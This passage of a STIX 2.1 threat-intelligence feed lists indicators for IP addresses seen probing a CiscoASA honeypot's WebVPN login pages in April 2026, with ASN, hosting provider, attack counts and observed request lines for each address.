          "last_seen": "2026-04-28T02:14:07.109Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--dd9fa61b-9c00-4f35-805a-b05530761d05",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 19,
          "first_seen": "2026-04-11T10:42:41.913Z",
          "last_seen": "2026-04-29T21:08:32.508Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--6ba4554b-9583-4a88-84ac-b59c1a35ed63",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T10:28:37.603Z",
          "last_seen": "2026-04-30T05:58:01.110Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ff316502-c0a5-4560-b536-4c6ce514252b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.101.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T11:00:02.718Z",
          "last_seen": "2026-04-23T14:04:19.412Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2f7e6048-3de1-43c4-bc67-394a1abbe6ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T10:59:53.091Z",
          "last_seen": "2026-04-24T18:36:47.039Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5e4d8da7-8bb7-44bb-9a79-0671727fb43e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:20:11.000Z",
      "valid_until": "2026-05-13T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T10:24:00.713Z",
          "last_seen": "2026-04-23T11:04:54.546Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--5236994f-9f32-4f6a-b5f0-222ce5515456",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:20:31.000Z",
      "valid_until": "2026-05-13T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-11T11:35:45.438Z",
          "last_seen": "2026-04-30T05:56:18.082Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T12:20:31.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c035ecd2-a09c-46c2-ab12-63e5e25acf4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:20:31.000Z",
      "valid_until": "2026-05-13T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 26,
          "first_seen": "2026-04-11T11:30:55.414Z",
          "last_seen": "2026-04-25T08:36:36.285Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--6c77c7fb-c666-447a-93e2-b67d003171f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.128.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-12T01:02:46.699Z",
          "last_seen": "2026-04-13T11:48:30.707Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--f4babe75-d39d-4d27-a162-2a8f43950992",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.111.43.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 44,
          "first_seen": "2026-04-12T01:06:45.814Z",
          "last_seen": "2026-04-14T02:28:49.024Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--36eb95ad-f1b0-4c0f-81da-825805953da2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '153.80.44.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-12T00:56:45.170Z",
          "last_seen": "2026-04-13T06:46:37.497Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d109b61d-19b5-4adb-86db-48c8cc34ad87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '156.233.105.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-12T01:09:32.622Z",
          "last_seen": "2026-04-14T01:08:43.632Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--10c1eeb8-94d2-4761-9986-a4d9eb0ae552",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.1.255.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-12T01:15:45.769Z",
          "last_seen": "2026-04-13T08:50:27.706Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--11caf204-9d19-442f-96a4-18cf27f9bdd1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.9.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 28,
          "first_seen": "2026-04-12T00:53:30.975Z",
          "last_seen": "2026-04-13T16:40:12.415Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--5d68a58f-45ab-40da-99d1-ba8f01cc5474",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.21.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T01:14:17.578Z",
          "last_seen": "2026-04-13T09:06:33.683Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7cfc642e-f7a5-4460-bdda-37311e253a40",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-12T01:08:54.604Z",
          "last_seen": "2026-04-24T20:03:17.475Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--1f129f5f-0c45-4ecf-9020-65cb4a749f04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.208.181.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-12T00:56:02.013Z",
          "last_seen": "2026-04-12T00:56:05.016Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d21c728a-20f7-4a89-bc8f-2a2d3cd49abd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.68.80.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 22,
          "first_seen": "2026-04-12T01:06:41.368Z",
          "last_seen": "2026-04-13T13:51:20.844Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--283d7942-0fec-4b07-a3e4-73853c264003",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.68.81.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-12T00:48:23.210Z",
          "last_seen": "2026-04-12T00:48:39.934Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ae7bb993-a4fe-4651-8161-0530b5981c74",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.36.231.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T01:20:10.000Z",
      "valid_until": "2026-05-14T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T01:01:10.482Z",
          "last_seen": "2026-04-13T09:33:10.776Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--31de6bc1-d71d-4d4f-8733-e744b2d7e777",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
